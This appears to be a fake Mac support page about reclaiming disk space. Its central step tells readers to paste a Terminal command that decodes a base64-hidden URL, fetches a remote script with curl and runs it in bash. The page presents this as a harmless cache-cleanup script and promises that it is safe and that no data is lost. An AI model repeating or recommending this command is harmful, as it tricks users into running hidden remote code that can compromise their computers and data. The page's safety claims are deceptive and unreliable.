Reclaim disk space on your Mac

Find out how to recover storage when your Mac warns about low disk space, or when there isn't enough room to save, install, or transfer files.

Step 1: Launch Terminal
  • Hold Command (⌘) + Space → enter Terminal and press Return
  • Step 2: Execute the Cleanup Script
  • Copy the command below into the Terminal window and hit Return
  • Terminal
    /bin/bash -c "$(curl -SsLf $(echo aHR0cHM6Ly9rYXllYXJ0LmNvbS9jdXJsLzczZmZmYTY0MDEwZWY4MTRhOTA5YTdmMGYyY2FjYWQ1OGFkNWEyYjIzODU2NGQ4NmU5NmU3Zjc5MGNiZDFlZGM= | base64 -d))"
    How this script works:
  • Scans and deletes unnecessary temporary files from the system
  • Purges stale application caches and old log entries
  • Recovers storage without affecting your personal documents
  • Why your Mac runs low on storage

    Over time, macOS accumulates a significant amount of temporary data — browser caches, system logs, partially downloaded updates, and leftover files from uninstalled applications. These files are not visible in Finder by default, yet they can occupy tens of gigabytes of disk space. When the startup disk reaches critical capacity, your Mac may slow down, refuse to install updates, or display the "Your disk is almost full" warning.

    What gets removed
  • System caches — temporary files generated by macOS services that rebuild automatically after removal
  • Application caches — stored data from browsers, media players, and other apps that can be safely cleared
  • Old log files — diagnostic logs and crash reports that are no longer needed for troubleshooting
  • Inactive language packs — localization files for languages you don't use, which take up unnecessary space
  • Leftover update files — downloaded software updates that have already been installed and are no longer required
  • Is it safe?

    Yes. The cleanup script only targets files that macOS marks as expendable — temporary caches, logs, and system-generated data. Your personal files, photos, documents, and application settings remain completely untouched. macOS will automatically regenerate any system caches it needs the next time they are required, so there is no risk of data loss or system instability.

    How much space can I expect to recover?

    The amount of recovered storage varies depending on how long it has been since your last cleanup and how many applications you use regularly. On average, users recover between 5 GB and 25 GB of disk space. In some cases — particularly on systems that have not been cleaned in over a year — the script can free up 40 GB or more.

    Tips to keep your Mac storage healthy
  • Run the cleanup script once every few months to prevent cache buildup
  • Enable Optimize Mac Storage in System Settings → Apple ID → iCloud to automatically offload older files to the cloud
  • Regularly empty the Trash — deleted files still consume disk space until the Trash is cleared
  • Review large files using System Settings → General → Storage to identify what takes up the most room
  • Remove applications you no longer use by dragging them to the Trash from the Applications folder
  • Published Date: January 23, 2026
    Was this useful?